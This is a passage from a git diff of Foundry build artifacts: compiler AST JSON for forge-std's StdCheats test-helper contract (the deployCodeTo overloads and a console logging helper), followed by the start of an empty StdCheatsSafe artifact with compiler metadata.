ateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":6096,"name":"address","nodeType":"ElementaryTypeName","src":"29285:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":6099,"mutability":"mutable","name":"id","nameLocation":"29305:2:3","nodeType":"VariableDeclaration","scope":6222,"src":"29297:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":6098,"name":"uint256","nodeType":"ElementaryTypeName","src":"29297:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"29269:39:3"},"returnParameters":{"id":6101,"nodeType":"ParameterList","parameters":[],"src":"29326:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":6237,"nodeType":"FunctionDefinition","src":"30395:123:3","nodes":[],"body":{"id":6236,"nodeType":"Block","src":"30469:49:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":6230,"name":"what","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6224,"src":"30492:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"hexValue":"","id":6231,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"30498:2:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""},"value":""},{"hexValue":"30","id":6232,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"30502:1:3","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},{"id":6233,"name":"where","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6226,"src":"30505:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},{"typeIdentifier":"t_address","typeString":"address"}],"id":6229,"name":"deployCodeTo","nodeType":"Identifier","overloadedDeclarations":[6237,6254,6307],"referencedDeclaration":6307,"src":"30479:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$_t_bytes_memory_ptr_$_t_uint256_$_t_address_$returns$__$","typeString":"function (string memory,bytes memory,uint256,address)"}},"id":6234,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30479:32:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6235,"nodeType":"ExpressionStatement","src":"30479:32:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"deployCodeTo","nameLocation":"30404:12:3","parameters":{"id":6227,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6224,"mutability":"mutable","name":"what","nameLocation":"30431:4:3","nodeType":"VariableDeclaration","scope":6237,"src":"30417:18:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6223,"name":"string","nodeType":"ElementaryTypeName","src":"30417:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":6226,"mutability":"mutable","name":"where","nameLocation":"30445:5:3","nodeType":"VariableDeclaration","scope":6237,"src":"30437:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":6225,"name":"address","nodeType":"ElementaryTypeName","src":"30437:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"30416:35:3"},"returnParameters":{"id":6228,"nodeType":"ParameterList","parameters":[],"src":"30469:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":6254,"nodeType":"FunctionDefinition","src":"30524:144:3","nodes":[],"body":{"id":6253,"nodeType":"Block","src":"30617:51:3","nodes":[],"statements":[{"expression":{"arguments":[{"id":6247,"name":"what","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6239,"src":"30640:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":6248,"name":"args","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6241,"src":"30646:4:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"hexValue":"30","id":6249,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"30652:1:3","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},{"id":6250,"name":"where","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6243,"src":"30655:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},{"typeIdentifier":"t_address","typeString":"address"}],"id":6246,"name":"deployCodeTo","nodeType":"Identifier","overloadedDeclarations":[6237,6254,6307],"referencedDeclaration":6307,"src":"30627:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$_t_bytes_memory_ptr_$_t_uint256_$_t_address_$returns$__$","typeString":"function (string memory,bytes memory,uint256,address)"}},"id":6251,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30627:34:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6252,"nodeType":"ExpressionStatement","src":"30627:34:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"deployCodeTo","nameLocation":"30533:12:3","parameters":{"id":6244,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6239,"mutability":"mutable","name":"what","nameLocation":"30560:4:3","nodeType":"VariableDeclaration","scope":6254,"src":"30546:18:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6238,"name":"string","nodeType":"ElementaryTypeName","src":"30546:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":6241,"mutability":"mutable","name":"args","nameLocation":"30579:4:3","nodeType":"VariableDeclaration","scope":6254,"src":"30566:17:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":6240,"name":"bytes","nodeType":"ElementaryTypeName","src":"30566:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":6243,"mutability":"mutable","name":"where","nameLocation":"30593:5:3","nodeType":"VariableDeclaration","scope":6254,"src":"30585:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":6242,"name":"address","nodeType":"ElementaryTypeName","src":"30585:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"30545:54:3"},"returnParameters":{"id":6245,"nodeType":"ParameterList","parameters":[],"src":"30617:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":6307,"nodeType":"FunctionDefinition","src":"30674:475:3","nodes":[],"body":{"id":6306,"nodeType":"Block","src":"30782:367:3","nodes":[],"statements":[{"assignments":[6266],"declarations":[{"constant":false,"id":6266,"mutability":"mutable","name":"creationCode","nameLocation":"30805:12:3","nodeType":"VariableDeclaration","scope":6306,"src":"30792:25:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":6265,"name":"bytes","nodeType":"ElementaryTypeName","src":"30792:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":6271,"initialValue":{"arguments":[{"id":6269,"name":"what","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6256,"src":"30831:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":6267,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"30820:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":6268,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"30823:7:3","memberName":"getCode","nodeType":"MemberAccess","referencedDeclaration":12735,"src":"30820:10:3","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) view external returns (bytes memory)"}},"id":6270,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30820:16:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"30792:44:3"},{"expression":{"arguments":[{"id":6275,"name":"where","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6262,"src":"30854:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":6278,"name":"creationCode","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6266,"src":"30878:12:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":6279,"name":"args","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6258,"src":"30892:4:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":6276,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"30861:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6277,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"30865:12:3","memberName":"encodePacked","nodeType":"MemberAccess","src":"30861:16:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":6280,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30861:36:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":6272,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"30846:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":6274,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"30849:4:3","memberName":"etch","nodeType":"MemberAccess","referencedDeclaration":15225,"src":"30846:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (address,bytes memory) external"}},"id":6281,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30846:52:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6282,"nodeType":"ExpressionStatement","src":"30846:52:3"},{"assignments":[6284,6286],"declarations":[{"constant":false,"id":6284,"mutability":"mutable","name":"success","nameLocation":"30914:7:3","nodeType":"VariableDeclaration","scope":6306,"src":"30909:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":6283,"name":"bool","nodeType":"ElementaryTypeName","src":"30909:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":6286,"mutability":"mutable","name":"runtimeBytecode","nameLocation":"30936:15:3","nodeType":"VariableDeclaration","scope":6306,"src":"30923:28:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":6285,"name":"bytes","nodeType":"ElementaryTypeName","src":"30923:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":6293,"initialValue":{"arguments":[{"hexValue":"","id":6291,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"30980:2:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""},"value":""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"id":6287,"name":"where","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6262,"src":"30955:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":6288,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"30961:4:3","memberName":"call","nodeType":"MemberAccess","src":"30955:10:3","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":6290,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["value"],"nodeType":"FunctionCallOptions","options":[{"id":6289,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6260,"src":"30973:5:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"src":"30955:24:3","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$value","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":6292,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30955:28:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"30908:75:3"},{"expression":{"arguments":[{"id":6295,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6284,"src":"31001:7:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"537464436865617473206465706c6f79436f6465546f28737472696e672c62797465732c75696e743235362c61646472657373293a204661696c656420746f206372656174652072756e74696d652062797465636f64652e","id":6296,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"31010:90:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_b108e15dc33227f7dcfd1bb506d1d48e88a540eadf4c41cd675a882ac84a6d45","typeString":"literal_string \"StdCheats deployCodeTo(string,bytes,uint256,address): Failed to create runtime bytecode.\""},"value":"StdCheats deployCodeTo(string,bytes,uint256,address): Failed to create runtime bytecode."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_b108e15dc33227f7dcfd1bb506d1d48e88a540eadf4c41cd675a882ac84a6d45","typeString":"literal_string \"StdCheats deployCodeTo(string,bytes,uint256,address): Failed to create runtime bytecode.\""}],"id":6294,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"30993:7:3","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":6297,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"30993:108:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6298,"nodeType":"ExpressionStatement","src":"30993:108:3"},{"expression":{"arguments":[{"id":6302,"name":"where","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6262,"src":"31119:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":6303,"name":"runtimeBytecode","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6286,"src":"31126:15:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":6299,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5563,"src":"31111:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":6301,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"31114:4:3","memberName":"etch","nodeType":"MemberAccess","referencedDeclaration":15225,"src":"31111:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (address,bytes memory) external"}},"id":6304,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"31111:31:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6305,"nodeType":"ExpressionStatement","src":"31111:31:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"deployCodeTo","nameLocation":"30683:12:3","parameters":{"id":6263,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6256,"mutability":"mutable","name":"what","nameLocation":"30710:4:3","nodeType":"VariableDeclaration","scope":6307,"src":"30696:18:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6255,"name":"string","nodeType":"ElementaryTypeName","src":"30696:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":6258,"mutability":"mutable","name":"args","nameLocation":"30729:4:3","nodeType":"VariableDeclaration","scope":6307,"src":"30716:17:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":6257,"name":"bytes","nodeType":"ElementaryTypeName","src":"30716:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":6260,"mutability":"mutable","name":"value","nameLocation":"30743:5:3","nodeType":"VariableDeclaration","scope":6307,"src":"30735:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":6259,"name":"uint256","nodeType":"ElementaryTypeName","src":"30735:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":6262,"mutability":"mutable","name":"where","nameLocation":"30758:5:3","nodeType":"VariableDeclaration","scope":6307,"src":"30750:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":6261,"name":"address","nodeType":"ElementaryTypeName","src":"30750:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"30695:69:3"},"returnParameters":{"id":6264,"nodeType":"ParameterList","parameters":[],"src":"30782:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":6329,"nodeType":"FunctionDefinition","src":"31278:193:3","nodes":[],"body":{"id":6328,"nodeType":"Block","src":"31341:130:3","nodes":[],"statements":[{"assignments":[6313,null],"declarations":[{"constant":false,"id":6313,"mutability":"mutable","name":"status","nameLocation":"31357:6:3","nodeType":"VariableDeclaration","scope":6328,"src":"31352:11:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":6312,"name":"bool","nodeType":"ElementaryTypeName","src":"31352:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},null],"id":6325,"initialValue":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e6729","id":6321,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"31429:13:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_41304facd9323d75b11bcdd609cb38effffdb05710f7caf0e9b16c6d9d709f50","typeString":"literal_string \"log(string)\""},"value":"log(string)"},{"id":6322,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6309,"src":"31444:2:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_41304facd9323d75b11bcdd609cb38effffdb05710f7caf0e9b16c6d9d709f50","typeString":"literal_string \"log(string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":6319,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"31405:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6320,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"31409:19:3","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"31405:23:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":6323,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"31405:42:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"arguments":[{"id":6316,"name":"CONSOLE2_ADDRESS","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5566,"src":"31376:16:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":6315,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"31368:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":6314,"name":"address","nodeType":"ElementaryTypeName","src":"31368:7:3","typeDescriptions":{}}},"id":6317,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"31368:25:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":6318,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"31394:10:3","memberName":"staticcall","nodeType":"MemberAccess","src":"31368:36:3","typeDescriptions":{"typeIdentifier":"t_function_barestaticcall_view$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) view returns (bool,bytes memory)"}},"id":6324,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"31368:80:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"31351:97:3"},{"expression":{"id":6326,"name":"status","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6313,"src":"31458:6:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":6327,"nodeType":"ExpressionStatement","src":"31458:6:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"console2_log_StdCheats","nameLocation":"31287:22:3","parameters":{"id":6310,"nodeType":"ParameterList","parameters":[{"constant":false,"id":6309,"mutability":"mutable","name":"p0","nameLocation":"31324:2:3","nodeType":"VariableDeclaration","scope":6329,"src":"31310:16:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":6308,"name":"string","nodeType":"ElementaryTypeName","src":"31310:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"31309:18:3"},"returnParameters":{"id":6311,"nodeType":"ParameterList","parameters":[],"src":"31341:0:3"},"scope":6330,"stateMutability":"view","virtual":false,"visibility":"private"}],"abstract":true,"baseContracts":[{"baseName":{"id":5538,"name":"StdCheatsSafe","nameLocations":["24260:13:3"],"nodeType":"IdentifierPath","referencedDeclaration":5537,"src":"24260:13:3"},"id":5539,"nodeType":"InheritanceSpecifier","src":"24260:13:3"}],"canonicalName":"StdCheats","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[6330,5537],"name":"StdCheats","nameLocation":"24247:9:3","scope":6331,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":3} \ No newline at end of file diff --git a/contracts/out/StdCheats.sol/StdCheatsSafe.json b/contracts/out/StdCheats.sol/StdCheatsSafe.json new file mode 100644 index 000000000..2ab39936e --- /dev/null +++ b/contracts/out/StdCheats.sol/StdCheatsSafe.json @@ -0,0 +1 @@ +{"abi":[],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/forge-std/src/StdCheats.sol\":\"StdCheatsSafe\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR 